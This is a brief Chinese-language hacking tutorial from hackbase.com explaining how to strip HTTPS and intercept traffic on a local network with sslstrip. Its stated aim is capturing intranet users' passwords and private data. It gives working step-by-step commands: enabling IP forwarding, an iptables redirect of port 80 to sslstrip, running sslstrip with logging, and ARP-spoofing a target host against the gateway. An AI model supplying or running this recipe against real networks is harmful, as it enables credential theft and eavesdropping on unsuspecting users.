sslstrip进行中间人攻击(Bypass https)

来源：hackbase.com

    在内网进行中间人攻击可以使得攻击者更有效地截获内网用户的密码及隐秘信息。在BackTrack环境下使用EtterCap or ArpSpoof工具即可. 但Ettercap支持的协议中, 仅对HTTP、FTP、Telnet、SMTP等以明文传输的协议有效. 对HTTPS这样用了OpenSSL的就没办法了..... 直到刚在US举行的black hat 2009会上，一老黑发布的名为sslstrip的software，变像的解决了此问题.

    此软件可在()找到. E文ok的朋友还可以看他在Black hat上的精彩演讲. 因sslstrip是用python写成，不用安装也可运行.用法分为以下几步:

    1) 用命令 echo "1" > /proc/sys/net/ipv4/ip_forward 将你的机子进入forwarding mode.

    2) 用命令 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 使iptables把所有http导入sslstrip.

    3) 运行 sslstrip -a -w ssllog (写入文本)

    4) 运行 arpspoof -i eth0 -t 192.168.1.15 (目标) 192.168.1.1 (网关)

    接下来就耐心等待吧! ;) 要提下的是生成的log文件如ssllog其实是html格式的.用konquer可以打开，这样连目标在看的网页面也一清二楚了. 以上均在自个的LAN和BT3下测试完成.